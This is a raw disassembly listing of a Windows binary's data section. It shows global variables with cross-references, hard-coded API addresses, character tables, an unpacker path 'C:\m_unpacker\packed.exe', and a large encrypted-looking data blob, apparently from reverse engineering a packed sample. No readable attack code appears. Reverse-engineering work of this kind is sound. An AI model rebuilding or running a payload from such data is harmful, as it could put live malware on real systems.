dword_42B398	dd 77DDA2AFh		; DATA XREF: sub_4045F0+33Bw
					; sub_4045F0+377r
dword_42B39C	dd 1F7CD927h		; DATA XREF: sub_4045F0+B28w
					; sub_4045F0+B5Er
dword_42B3A0	dd 76206853h		; DATA XREF: sub_4045F0+793w
					; sub_4045F0+803r
dword_42B3A4	dd 77D5E310h		; DATA XREF: sub_4045F0+18Cw
					; sub_4045F0+1D2r ...
dword_42B3A8	dd 76206B7Fh		; DATA XREF: sub_4045F0+7ADw
					; sub_4045F0+813r
dword_42B3AC	dd 71AB1444h		; DATA XREF: sub_4045F0+5AAw
					; sub_4045F0+6F2r ...
dword_42B3B0	dd 77DD189Ah		; DATA XREF: sub_4031BC+5Er
					; sub_4045F0+265w
dword_42B3B4	dd 71AB3F8Dh		; DATA XREF: sub_4045F0+5F1w
					; sub_4045F0+71Ar
dword_42B3B8	dd 77DD5D20h		; DATA XREF: sub_4045F0+2A8w
					; sub_4045F0+2BCr ...
dword_42B3BC	dd 71AB1890h		; DATA XREF: sub_4014AE+82r
					; sub_4045F0+5CAw ...
dword_42B3C0	dd 77C76B34h		; DATA XREF: sub_4045F0+3D4w
					; sub_4045F0+436r
dword_42B3C4	dd 77D5E38Ch		; DATA XREF: sub_4045F0+199w
					; sub_4045F0+1DAr ...
dword_42B3C8	dd 77DDA20Bh		; DATA XREF: sub_4045F0+2EDw
					; sub_4045F0+342r
dword_42B3CC	dd 76F36EEBh		; DATA XREF: sub_4045F0+9C9w
dword_42B3D0	dd 71AB12A7h		; DATA XREF: sub_4013CA+2Br
					; sub_401F9C+7r ...
dword_42B3D4	dd 71AB1746h		; DATA XREF: sub_4014AE+38r
					; sub_4023B8+D6r ...
dword_42B3D8	dd 77EBA595h		; DATA XREF: sub_4045F0+4Bw
					; sub_4045F0+C2r ...
dword_42B3DC	dd 77C7531Dh		; DATA XREF: sub_4045F0+3FBw
					; sub_4045F0+453r
dword_42B3E0	dd 77D4BDCAh		; DATA XREF: sub_4045F0+165w
					; sub_4045F0+1BAr ...
dword_42B3E4	dd 71C3516Ah		; DATA XREF: sub_4045F0+937w
dword_42B3E8	dd 71AB32CAh		; DATA XREF: sub_4045F0+60Bw
					; sub_4045F0+72Ar
dword_42B3EC	dd 71AB5690h		; DATA XREF: sub_401F1D+75r
					; sub_402E09+79r ...
dword_42B3F0	dd 1F7CB8F8h		; DATA XREF: sub_4045F0+B42w
					; sub_4045F0+B6Er
dword_42B3F4	dd 77EBB1E7h		; DATA XREF: sub_4045F0+3Ew
					; sub_4045F0+BAr ...
dword_42B3F8	dd 77DD59F0h		; DATA XREF: sub_4031BC+49r
					; sub_4045F0+23Ew ...
dword_42B3FC	dd 71AB5DE2h		; DATA XREF: sub_4045F0+5D7w
					; sub_4045F0+70Ar ...
dword_42B400	dd 71AB3ECEh		; DATA XREF: sub_4045F0+5BDw
					; sub_4045F0+6FAr ...
dword_42B404	dd 76204E4Dh		; DATA XREF: sub_4032EE+4C9r
					; sub_4045F0+7F4w
dword_42B408	dd 0			; DATA XREF: sub_4045F0+112w
dword_42B40C	dd 1F7D886Ah		; DATA XREF: sub_4045F0+B0Ew
					; sub_4045F0+B49r
dword_42B410	dd 71AB12F8h		; DATA XREF: sub_401704+2Cr
					; sub_4023B8+E4r ...
dword_42B414	dd 77C76551h		; DATA XREF: sub_4045F0+3E1w
					; sub_4045F0+443r
dword_42B418	dd 77C729E2h		; DATA XREF: sub_4045F0+422w
					; sub_4045F0+46Br
dword_42B41C	dd 77C7212Fh		; DATA XREF: sub_4045F0+3EEw
					; sub_4045F0+44Br
dword_42B420	dd 71AB1AF4h		; DATA XREF: sub_401F9C+1Br
					; sub_401F9C+35r ...
dword_42B424	dd 77D5E303h		; DATA XREF: sub_4045F0+1A6w
					; sub_4045F0+1E2r ...
dword_42B428	dd 71C4576Ch		; DATA XREF: sub_4045F0+92Aw
					; sub_4045F0+97Er
dword_42B42C	dd 77D4702Fh		; DATA XREF: sub_4045F0+158w
					; sub_4045F0+1ADr ...
dword_42B430	dd 77E6C0E3h		; DATA XREF: sub_403882+4r
					; sub_4045F0+8Cw ...
dword_42B434	dd 71AB1ED3h		; DATA XREF: sub_4045F0+596w
					; sub_4045F0+6E2r ...
dword_42B438	dd 71B2A381h		; DATA XREF: sub_4045F0+A6Aw
					; sub_4045F0+A86r
dword_42B43C	dd 77DDA595h		; DATA XREF: sub_4045F0+2C2w
					; sub_4057AB+55r
dword_42B440	dd 77DD22EAh		; DATA XREF: sub_4045F0+224w
					; sub_4045F0+25Fr
dword_42B444	dd 773F97B0h		; DATA XREF: sub_4045F0+AD1w
dword_42B448	dd 76D67A29h		; DATA XREF: sub_4045F0+A13w
					; sub_405687+8Fr
dword_42B44C	dd 76D674FAh		; DATA XREF: sub_4045F0+A06w
					; sub_4045F0+A0Dr ...
dword_42B450	dd 71AB3C22h		; DATA XREF: sub_4014AE+18r
					; sub_402E09+44r ...
dword_42B454	dd 71AB2BBFh		; DATA XREF: sub_4045F0+618w
					; sub_4045F0+732r ...
dword_42B458	dd 1F7BA3A9h		; DATA XREF: sub_4045F0+B1Bw
					; sub_4045F0+B56r
dword_42B45C	dd 71AB401Ch		; DATA XREF: sub_4010CA+1Fr
					; sub_40154B+E1r ...
dword_42B460	dd 71C214BAh		; DATA XREF: sub_4045F0+8E9w
					; sub_4045F0+956r
dword_42B464	dd 71AB868Dh		; DATA XREF: sub_4045F0+5E4w
					; sub_4045F0+712r ...
dword_42B468	dd 71AB1A6Dh		; DATA XREF: sub_4014AE+8Br
					; sub_4023B8+185r ...
dword_42B46C	dd 71AB155Ah		; DATA XREF: sub_4014AE+4Cr
					; sub_4045F0+521w ...
dword_42B470	dd 71B22C25h		; DATA XREF: sub_4045F0+A5Dw
					; sub_4045F0+A7Er
dword_42B474	dd 71AB5A01h		; DATA XREF: sub_4045F0+4C6w
					; sub_4045F0+64Ar
dword_42B478	dd 71B2ACCBh		; DATA XREF: sub_4045F0+A50w
					; sub_4045F0+A71r
dword_42B47C	dd 77E78C17h		; DATA XREF: sub_4045F0+31w
					; sub_4045F0+ADr ...
dword_42B480	dd 77D49A11h		; DATA XREF: sub_4045F0+17Fw
					; sub_4045F0+1CAr
dword_42B484	dd 77E6CBF9h		; DATA XREF: sub_4045F0+99w
					; sub_4045F0+EAr ...
dword_42B488	dd 0			; DATA XREF: sub_4045F0:loc_4046EEw
					; sub_4045F0+12Bw
dword_42B48C	dd 0			; DATA XREF: sub_4045F0+126w
dword_42B490	dd 0			; DATA XREF: sub_4045F0:loc_4047EBw
dword_42B494	dd 0			; DATA XREF: sub_4045F0+1F6w
dword_42B498	dd 0			; DATA XREF: sub_4045F0:loc_404880w
					; sub_4045F0:loc_4048C5w ...
dword_42B49C	dd 0			; DATA XREF: sub_4045F0+3A6w
dword_42B4A0	dd 0			; DATA XREF: sub_4045F0:loc_404A7Cw
dword_42B4A4	dd 0			; DATA XREF: sub_4045F0+487w
dword_42B4A8	dd 0			; DATA XREF: sub_4045F0:loc_404D36w
					; sub_4045F0+86Cw
dword_42B4AC	dd 0			; DATA XREF: sub_4045F0+867w
dword_42B4B0	dd 0			; DATA XREF: sub_4045F0:loc_404E2Bw
					; sub_4045F0+882w ...
dword_42B4B4	dd 0			; DATA XREF: sub_4045F0+87Dw
		align 10h
dword_42B4C0	dd 0			; DATA XREF: sub_4045F0:loc_404F83w
dword_42B4C4	dd 0			; DATA XREF: sub_4045F0+98Ew
dword_42B4C8	dd 0			; DATA XREF: sub_4045F0:loc_404FCDw
dword_42B4CC	dd 0			; DATA XREF: sub_4045F0+9D8w
dword_42B4D0	dd 0			; DATA XREF: sub_4045F0:loc_405017w
dword_42B4D4	dd 0			; DATA XREF: sub_4045F0+A22w
dword_42B4D8	dd 0			; DATA XREF: sub_4045F0:loc_40508Bw
dword_42B4DC	dd 0			; DATA XREF: sub_4045F0+A96w
dword_42B4E0	dd 0			; DATA XREF: sub_4045F0:loc_4050D5w
dword_42B4E4	dd 0			; DATA XREF: sub_4045F0+AE0w
dword_42B4E8	dd 0			; DATA XREF: sub_4045F0:loc_405173w
dword_42B4EC	dd 0			; DATA XREF: sub_4045F0+B7Ew
		dd 2 dup(0)
dword_42B4F8	dd 2B4h	dup(0)		; DATA XREF: sub_4052BA+6Ao
dword_42BFC8	dd 4 dup(0)		; DATA XREF: sub_405752+32o
dword_42BFD8	dd 82h dup(0)		; DATA XREF: sub_406264+8Do
dword_42C1E0	dd 0			; DATA XREF: sub_40304D+Ao
					; sub_40304D+44r ...
		dd 5 dup(0)
dword_42C1F8	dd 0			; DATA XREF: sub_40304D+60r
					; sub_406BAB+87Cr
		dd 2D9h	dup(0)
dword_42CD60	dd 0			; DATA XREF: sub_40154B+6Br
					; sub_40304D+2Do ...
		dd 7Fh dup(0)
dword_42CF60	dd 0			; DATA XREF: sub_40AA54+4Cw
					; sub_40AB8F+3Aw ...
dword_42CF64	dd 0			; DATA XREF: sub_40154B:loc_4016E1r
					; sub_401704+12Cw ...
dword_42CF68	dd 0			; DATA XREF: sub_40AA54+45w
					; sub_40AB8F+34r ...
dword_42CF6C	dd 0			; DATA XREF: sub_403B83+Cr
					; sub_405AD8+7Bw ...
dword_42CF70	dd 0			; DATA XREF: sub_405C55+11Ew
					; sub_405E27+53r ...
dword_42CF74	dd 0			; DATA XREF: sub_401141+11Fw
					; sub_401141+244w ...
byte_42CF78	db 0			; DATA XREF: sub_4068DA+91o
					; sub_40AA54+59w ...
		align 4
		dd 61F5h dup(0)
dword_445750	dd 0E7FCh dup(0)	; DATA XREF: .nsp0:off_41B280o
dword_47F740	dd 1Bh			; DATA XREF: sub_401000:loc_40106Er
					; sub_406422+42w ...
		align 8
dword_47F748	dd 0			; DATA XREF: sub_406422+3E4o
dword_47F74C	dd 20h dup(0)		; DATA XREF: sub_406422+391o
dword_47F7CC	dd 10h dup(0)		; DATA XREF: sub_406422+3A8o
dword_47F80C	dd 24h dup(0)		; DATA XREF: sub_406422+3BFo
dword_47F89C	dd 0			; DATA XREF: sub_406422+3B3w
					; sub_406422+437w ...
dword_47F8A0	dd 0			; DATA XREF: sub_406422+3D2w
		dd 2 dup(0)
		db 0
byte_47F8AD	db 0			; DATA XREF: sub_406A2F+28r
					; sub_406A2F+30o
		align 10h
dword_47F8B0	dd 0			; DATA XREF: sub_406422:loc_4067FFw
					; sub_406422+3F7r ...
dword_47F8B4	dd 0			; DATA XREF: sub_406422+38Aw
					; sub_406BAB+7EFr
dword_47F8B8	dd 0Eh dup(0)		; DATA XREF: sub_40A0F0+3Eo
dword_47F8F0	dd 0			; DATA XREF: sub_40B8A9+Aw
		align 8
dword_47F8F8	dd 0			; DATA XREF: sub_40CC92+5Er
					; sub_40CC92+A4w
		align 10h
word_47F900	dw 0			; DATA XREF: sub_40CC92+55r
					; sub_40CC92+9Ao
word_47F902	dw 0			; DATA XREF: sub_40CC92+48r
		db 2 dup(0)
word_47F906	dw 0			; DATA XREF: sub_40CC92+3Br
word_47F908	dw 0			; DATA XREF: sub_40CC92+2Er
word_47F90A	dw 0			; DATA XREF: sub_40CC92+21r
		align 10h
dword_47F910	dd 0			; DATA XREF: sub_40D07C+3Br
					; sub_40D07C+91w
dword_47F914	dd 0			; DATA XREF: sub_40C7CB+2Bw
					; sub_40CA73+1B9w ...
dword_47F918	dd 0			; DATA XREF: sub_40C7CB+35w
					; sub_411584:loc_41161Ew ...
dword_47F91C	dd 0			; DATA XREF: sub_41416A+13Ar
dword_47F920	dd 0A28h		; DATA XREF: sub_40D514+52w
dword_47F924	dd 501h			; DATA XREF: sub_40D514+49w
dword_47F928	dd 5			; DATA XREF: sub_40D514+3Ew
dword_47F92C	dd 1			; DATA XREF: sub_40D514+30w
dword_47F930	dd 1			; DATA XREF: sub_406422:loc_406702r
					; sub_4129FA+91w
dword_47F934	dd 4D0B20h		; DATA XREF: sub_406422+2E9r
					; sub_406422+309r ...
		dd 0
dword_47F93C	dd 4D0B48h		; DATA XREF: sub_412941+44w
					; sub_415713+9r ...
dword_47F940	dd 0			; DATA XREF: sub_40AC96+16o
					; sub_40ACB5+19o ...
dword_47F944	dd 0			; DATA XREF: sub_40AC49+3Do
					; sub_415713+16r ...
		dd 0
off_47F94C	dd offset aCM_unpackerPac ; DATA XREF: sub_4129FA+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_47F954	db 0			; DATA XREF: sub_40D167+2Dw
					; sub_41344C+5r
		align 4
dword_47F958	dd 0			; DATA XREF: sub_40D167+27w
dword_47F95C	dd 0			; DATA XREF: sub_40D167+4r
					; sub_40D167+8Bw
dword_47F960	dd 0			; DATA XREF: sub_40D514+84w
					; sub_412941:loc_412953r ...
		align 8
dword_47F968	dd 0			; DATA XREF: sub_40D60Ar sub_40D62Fr ...
dword_47F96C	dd 0			; DATA XREF: sub_40B6BFr
					; sub_40C4F8:loc_40C614r ...
dword_47F970	dd 0			; DATA XREF: sub_40EA23r
dword_47F974	dd 0			; DATA XREF: sub_40F8F1+4Bw
					; sub_40FA0A+2Dw ...
dword_47F978	dd 0			; DATA XREF: sub_41083C+11r
					; sub_410940+1Ar ...
byte_47F97C	db 0			; DATA XREF: sub_41083C+3r
					; sub_41083C+98r ...
		align 10h
dword_47F980	dd 0			; DATA XREF: sub_410940+11r
					; sub_410A1E+21w ...
byte_47F984	db 0			; DATA XREF: sub_410A1E+51w
		align 4
dword_47F988	dd 0			; DATA XREF: sub_410C14+4Er
					; sub_410FEF+3Ar ...
dword_47F98C	dd 0			; DATA XREF: sub_410C14+5Cr
					; sub_410FEF+43r ...
dword_47F990	dd 0			; DATA XREF: sub_40BB32+7Ar
					; sub_410DBB+5r
dword_47F994	dd 0			; DATA XREF: sub_4113CC+29r
dword_47F998	dd 1			; DATA XREF: sub_411E1B+28r
					; sub_411E1B+4Cw ...
		dd 2 dup(0)
dword_47F9A4	dd 0			; DATA XREF: sub_40CEE0+4r
					; sub_40CEE0+9Dr ...
		dd 3 dup(0)
dword_47F9B4	dd 0			; DATA XREF: sub_411E1B+C0r
					; sub_4121D8+3Ar ...
		dd 0
dword_47F9BC	dd 1			; DATA XREF: sub_41203F:loc_4121BAr
					; sub_4121D8+4w ...
dword_47F9C0	dd 0			; DATA XREF: sub_4124A9+37r
		align 8
dword_47F9C8	dd 0			; DATA XREF: sub_412765+3Ar
					; sub_412765+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_4129FA:loc_412A11o
					; .nsp0:off_47F94Co
		align 4
		dd 3Ah dup(0)
dword_47FAD0	dd 1			; DATA XREF: sub_412C47+2r
					; sub_412C47+23w ...
dword_47FAD4	dd 0			; DATA XREF: sub_413004+21r
dword_47FAD8	dd 0			; DATA XREF: sub_411A3E+154w
					; sub_4124A9:loc_4124D2w ...
		align 10h
word_47FAE0	dw 0			; DATA XREF: sub_413C19+1Ao
					; sub_413C19+46r
byte_47FAE2	db 0			; DATA XREF: sub_413C19+39r
		align 4
dword_47FAE4	dd 7 dup(0)		; DATA XREF: sub_413C19+52o
dword_47FB00	dd 0			; DATA XREF: sub_413C19+40w
					; sub_413C19+5Co
dword_47FB04	dd 0			; DATA XREF: sub_413C19+4Dw
dword_47FB08	dd 0			; DATA XREF: sub_413C19+31w
dword_47FB0C	dd 0			; DATA XREF: sub_413C19+52w
dword_47FB10	dd 77C26E79h		; DATA XREF: sub_413D3C:loc_413D5Fr
					; sub_413D3C+38r ...
dword_47FB14	dd 1			; DATA XREF: sub_413E07+26r
					; sub_413E07:loc_413E71w
dword_47FB18	dd 0			; DATA XREF: sub_411A3E+7r
		align 10h
dword_47FB20	dd 0			; DATA XREF: sub_414438+11w
					; sub_414438+63w ...
		align 8
dword_47FB28	dd 0			; DATA XREF: sub_414438+33o
					; sub_414438+46r
dword_47FB2C	dd 10h dup(0)		; DATA XREF: sub_414438+C1o
word_47FB6C	dw 0			; DATA XREF: sub_414696+A8r
word_47FB6E	dw 0			; DATA XREF: sub_414438+54r
					; sub_414696+DBr ...
word_47FB70	dw 0			; DATA XREF: sub_414696+CAr
word_47FB72	dw 0			; DATA XREF: sub_414696+D3r
					; sub_414696:loc_414788r
word_47FB74	dw 0			; DATA XREF: sub_414696+C0r
word_47FB76	dw 0			; DATA XREF: sub_414696+B8r
word_47FB78	dw 0			; DATA XREF: sub_414696+B0r
word_47FB7A	dw 0			; DATA XREF: sub_414696+9Er
dword_47FB7C	dd 0			; DATA XREF: sub_414438+4Br
dword_47FB80	dd 10h dup(0)		; DATA XREF: sub_414438+FBo
word_47FBC0	dw 0			; DATA XREF: sub_414696+46r
word_47FBC2	dw 0			; DATA XREF: sub_414438:loc_4144AFr
					; sub_414696+78r ...
word_47FBC4	dw 0			; DATA XREF: sub_414696+67r
word_47FBC6	dw 0			; DATA XREF: sub_414696+70r
					; sub_414696:loc_41471Ar
word_47FBC8	dw 0			; DATA XREF: sub_414696+5Dr
word_47FBCA	dw 0			; DATA XREF: sub_414696+55r
word_47FBCC	dw 0			; DATA XREF: sub_414696+4Dr
word_47FBCE	dw 0			; DATA XREF: sub_414696+3Er
dword_47FBD0	dd 0			; DATA XREF: sub_414438+80r
dword_47FBD4	dd 0			; DATA XREF: sub_414438+132r
					; sub_414438:loc_414584r ...
dword_47FBD8	dd 0			; DATA XREF: sub_414423r sub_414423+Ew
dword_47FBDC	dd 0			; DATA XREF: sub_4149C4+3r
					; sub_4149C4+2Ew ...
dword_47FBE0	dd 0			; DATA XREF: sub_4149C4+43w
					; sub_4149C4:loc_414A13r
dword_47FBE4	dd 0			; DATA XREF: sub_4149C4+4Aw
					; sub_4149C4+60r
dword_47FBE8	dd 0			; DATA XREF: sub_41545B:loc_4154C2r
					; sub_41545B+6Do
dword_47FBEC	dd 0			; DATA XREF: sub_41545B:loc_415499r
					; sub_41545B+44o
dword_47FBF0	dd 0			; DATA XREF: sub_41545B:loc_41548Cr
					; sub_41545B+37o
dword_47FBF4	dd 0			; DATA XREF: sub_41545B:loc_4154A6r
					; sub_41545B+51o
		dd 0
dword_47FBFC	dd 0			; DATA XREF: sub_41416A+3Fr
dword_47FC00	dd 0			; DATA XREF: sub_415B4F+28r
					; sub_415B4F+48w ...
byte_47FC04	db 1			; DATA XREF: sub_402951r sub_402951+9w ...
		align 4
dword_47FC08	dd 4D1110h		; DATA XREF: sub_411702:loc_411713r
					; sub_411BAE+14r ...
		dd 5 dup(0)
dword_47FC20	dd 400h	dup(0)		; DATA XREF: .nsp0:off_420310o
					; .nsp0:00420318o
dword_480C20	dd 200h			; DATA XREF: sub_411702+9r
					; sub_411702+56r ...
		dd 7 dup(0)
dword_480C40	dd 4D0650h		; DATA XREF: sub_40D653+B1r
					; sub_41176F+75r ...
dword_480C44	dd 3Fh dup(0)		; DATA XREF: sub_412D79+92o
dword_480D40	dd 20h			; DATA XREF: sub_411584+8r
					; sub_411848+Cr ...
dword_480D44	dd 4E4h			; DATA XREF: sub_41203F+14r
					; sub_41203F+65w ...
		align 10h
dword_480D50	dd 3 dup(0)		; DATA XREF: sub_41203F+123o
					; sub_41203F+171o ...
dword_480D5C	dd 0			; DATA XREF: sub_41203F+108w
					; sub_41203F+15Dw ...
byte_480D60	db 0			; DATA XREF: sub_41227E:loc_41238Aw
					; sub_41227E:loc_4123A7w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_480E60	db 0			; DATA XREF: sub_41203F+5Co
					; sub_41203F+AFo ...
byte_480E61	db 0			; DATA XREF: sub_40D21A+5Dr
					; sub_41203F+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_480F64	dd 0			; DATA XREF: sub_41203F+6Ew
					; sub_41203F+12Bw ...
dword_480F68	dd 0			; DATA XREF: sub_40EC10+3Cw
					; sub_40F2B5+5r ...
dword_480F6C	dd 0			; DATA XREF: sub_40EC83+23Ar
					; sub_40EC83+25Ar ...
dword_480F70	dd 0			; DATA XREF: sub_40EC10+31w
					; sub_40EC83+311w ...
dword_480F74	dd 0			; DATA XREF: sub_40EC10+21w
					; sub_40EC83+22Dr ...
dword_480F78	dd 0			; DATA XREF: sub_40EC10+28w
					; sub_40EC58r ...
dword_480F7C	dd 0			; DATA XREF: sub_40EC10+15w
					; sub_40EC58+8r ...
dword_480F80	dd 0			; DATA XREF: sub_40B6FD+Fr
					; sub_40C4F8+5Cr ...
dword_480F84	dd 4D0000h		; DATA XREF: sub_40B6FD+66r
					; sub_40B771+5Ar ...
dword_480F88	dd 1			; DATA XREF: sub_40B6FDr sub_40B771+Cr ...
dword_480F8C	dd 142340h		; DATA XREF: sub_40D514+7Aw
					; sub_4128E9+Fr ...
dword_480F90	dd 1			; DATA XREF: sub_412941+ADw
					; sub_415713r
dword_480F94	dd 1			; DATA XREF: sub_412403r
					; sub_412403+11w ...
dword_480F98	dd 4D0764h		; DATA XREF: sub_40C193+13r
					; sub_40C193:loc_40C1D5r ...
dword_480F9C	dd 4D0758h		; DATA XREF: sub_40C193+1r
					; sub_40C193+Cr ...
byte_480FA0	db 1			; DATA XREF: sub_4163F4+15r
					; sub_4163F4+1Ew
		align 4
		dd 417h	dup(0)
		dd 0D9A22A00h, 9B1788h,	193D7E08h, 4EECD3EFh, 0C42C9214h
		dd 7E438167h, 0F62B7E08h, 8D4EB4Dh, 464C404Fh, 55203A16h
		dd 9F4792ECh, 70DB621h,	5677E69Bh, 10E3E460h, 0E1F542FBh
		dd 0F24B2575h, 0EEA4BC77h, 0F52EDEE1h, 0D65EA84Bh, 9A4E50D1h
		dd 95AEC0F1h, 62EF7479h, 8C19C99Ah, 1D145679h, 8E46A5FBh
		dd 0C249C2E1h, 0BE2F61F0h, 6FBE1455h, 9CAF5B34h, 36F0D4E7h
		dd 69EEEE0Eh, 4E7410E7h, 45A792F2h, 5C50B4D5h, 0C857BDBAh
		dd 8982E4F0h, 0F744FC3Dh, 0C4098710h, 0EB36B716h, 964AC978h
		dd 25D04C82h, 57A96587h, 0FC246CB4h, 245AABC8h,	26808D0Ah
		dd 0B0F6B90Ch, 0E42D47E2h, 3FD4D73Eh, 3653A299h, 43764ADFh
		dd 137E926Fh, 6A477D06h, 87A8291Bh, 683D8C69h, 9ED2593Ch
		dd 21CF26C9h, 0CE4D01D5h, 0E1873269h, 68A343A2h, 86B258C8h
		dd 818D1181h, 9542949Bh, 0EC09A06Dh, 5B529688h,	0E6332C8Ch
		dd 884D964Dh, 6346C2F3h, 0E6B79F46h, 0A060ED19h, 0BA98B848h
		dd 6D18715Ah, 6B41F44Bh, 951C1ACh, 3C7594AEh, 1B462E36h
		dd 13607D1Ch, 0F6E0814h, 0CACB68A5h, 7F24E27Ah,	7534E19h
		dd 277AA002h, 9C0C1AC3h, 0A01DDB50h, 176F5D4Dh,	6CF5F57h
		dd 0BBF4146Ah, 0D19E6ACh, 0E51D868Eh, 30DD675Ch, 9819DDF0h
		dd 2774011Ah, 0AE82DDFEh, 0E28075A6h, 0C8BBE9F0h, 4F1AE941h
		dd 0FB5A30A0h, 0A27AF681h, 90520CF8h, 8E10B437h, 0F614C48Bh
		dd 0C81BF458h, 7A9C6D87h, 7EB3200Ch, 48FA89C0h,	27A4F5F2h
		dd 0DCD192C6h, 26D30BC0h, 428D8B52h, 0D962C7E3h, 16FB3E44h
		dd 38189A3Dh, 0F77BD4EEh, 4E85ABB9h, 0DCE4DEA4h, 0D94DA250h
		dd 0F97AE723h, 35B5FC98h, 3AA3B292h, 8D603457h,	0D9438D7Ch
		dd 835B3C09h, 0D5CFFAC9h, 4131FCCAh, 0B92FA2h, 231564C7h
		dd 7CEEE07Ch, 0AA7B8963h, 667B7E35h, 0F5ED7C7Eh, 2C648AC9h
		dd 0FFEE05C2h, 978400A6h, 5C68E7B4h, 0D4F94A69h, 49CEBB0Ah
		dd 6F7A8813h, 4B7242A2h, 6A7E5F93h, 3EB038BEh, 5755A966h
		dd 525676F1h, 9D8C3173h, 0A9670B54h, 0F709F324h, 14261F67h
		dd 0E3273371h, 6E708CD4h, 8C81CD58h, 92719F50h,	13DBDFA7h
		dd 241DDFFh, 62FC6881h,	4AB2A035h, 7F8BF12Bh, 68BCAB8Eh
		dd 0B588FA88h, 72241D0h, 5F199118h, 0FE123AC2h,	1817D173h
		dd 7A939041h, 43FF72B0h, 10127FC5h, 7737EEC5h, 0EF3B4129h
		dd 15974A7Bh, 6A47B689h, 0C1418A3h, 6EB90E00h, 643A9B50h
		dd 0E9A1F85Ch, 0D9044467h, 871CB341h, 794FBE96h, 0FB8822BFh
		dd 0B88264FDh, 920E0724h, 8407321Ch, 0E02E7389h, 5AB4F8F4h
		dd 532D10DEh, 3BF41B7Ch, 81852829h, 0C8465E27h,	9B8F6B79h
		dd 4E9B104h, 0CC414BD6h, 0BFE51F9Ch, 0E1DA506Dh, 557F1242h
		dd 0C8BC3F0h, 1EE69C64h, 11FF9D81h, 264C8D1Ah, 98F9E05Ch
		dd 0D31AC62Eh, 49C040B8h, 8B6537D8h, 0F94D383Ch, 878BD7DDh
		dd 0D62BA73Ah, 77BEACF1h, 0C05C9290h, 3342F37Bh, 988F6292h
		dd 450B50E2h, 6C4A9912h, 24BB51BBh, 0E3E1E9h, 0FFF6D56Ah
		dd 69602FB0h, 1156639Bh, 6D5FBC37h, 0B24C00EFh,	0ECADC854h
		dd 0FC37F67h, 0B0B87305h, 60C5DB3h, 71D778D7h, 19BE525Ah
		dd 7C2775DBh, 4DA06BB7h, 0C54FA97Dh, 44F40841h,	73FBE112h
		dd 18AA0D1Bh, 0ECDFAh, 749F8DF1h, 62FA9D16h, 1E82B44h
		dd 0F5740831h, 2833D2E9h, 54C37638h, 0DD630A22h, 25970F88h
		dd 70FDCF9h, 0C36F8B3Bh, 6497CBEAh, 7AF44986h, 1534138Eh
		dd 0DF08C112h, 0F2E50DFAh, 7F4FF96Fh, 541F237Ah, 668EB85Eh
		dd 2724CD39h, 6D157DE0h, 407F4333h, 58729908h, 416B804Dh
		dd 0D3659C98h, 28307F29h, 45671AF5h, 56BC3FEDh,	0CFD4599Bh
		dd 0CCB953C3h, 0E088EC09h, 0E46A11BFh, 82D85A16h, 1B36A4ABh
		dd 0E98C0DB3h, 0EA7274D9h, 0DA16F22Ch, 1ABD7AA8h, 1CE59B19h
		dd 2528B3D1h, 85B27B4Ch, 0BD66DF1Ch, 0CDDB0A13h, 0A41F2161h
		dd 2C0E9BC0h, 0B8B423Ch, 6E9D6EB9h, 0CFBBBD2Ah,	9D87CC13h
		dd 8AC6F9D1h, 3E0914E3h, 0D394770Ch, 8D7C7DDFh,	2E43306Eh
		dd 6938725h, 111F567Ch,	0E3159F13h, 3C411E4Bh, 0CE03F297h
		dd 2142E913h, 2E4C7C1Fh, 0E7218F43h, 9C3318D5h,	43309826h
		dd 5AB1665Eh, 3AE164E9h, 4E3BA98Eh, 1B4C3A1Fh, 0ADDD30DFh
		dd 0DB46EAE9h, 0B7BF9791h, 54603EC8h, 0EADE37AAh, 2391581Bh
		dd 7935CB6Fh, 0B4E514B6h, 3B6071D2h, 0B09D4FBEh, 427DD536h
		dd 79A86220h, 5ED00644h, 0AD9817B3h, 0B71AFB2h,	0BF5F7A9Ah
		dd 86EAACB2h, 0C0A68C27h, 0A9226B01h, 47492D3Dh, 0E5308BBDh
		dd 0F18FE688h, 54419553h, 5A9145C2h, 0C6C7B1DBh, 88F29458h
		dd 0E58FED35h, 0ED320229h, 0E368AEFh, 562281EAh, 5D9B70FEh
		dd 5A2BC85Bh, 0A716B8F1h, 82A45B74h, 97E8555Bh,	723025AFh
		dd 0D0FF1920h, 16CD5D6Fh, 0F96E719h, 354143F0h,	9EEE66A9h
		dd 41196A80h, 0DDB7FE85h, 5A5F4D5Dh, 0D8888BE7h, 2DA05459h
		dd 0D08BC191h, 0DC3DC8EEh, 535BA288h, 9AFD25FFh, 514ED56Ah
		dd 131CE7ACh, 67A258DCh, 46C20C55h, 6D8B9DF0h, 518A815Bh
		dd 52632D30h, 1FE3EA23h, 9267DCD3h, 0DB67868Eh,	24D3D040h
		dd 776C2AAFh, 0BD9E4369h, 893E0D00h, 95612890h,	63060698h
		dd 125EBA39h, 21F9FD24h, 0E80A1A09h, 491084B4h,	4663A0C9h
		dd 69DA1F94h, 8EFA4768h, 9C2AE0C9h, 0ED2BE897h,	3E1765E1h
		dd 626DA3F4h, 7662B2B8h, 0D72137A9h, 0D7183285h, 833D1C3h
		dd 11CFA2DCh, 33372B3h,	0D43D95D9h, 8D9DB6E9h, 0D92C5CFFh
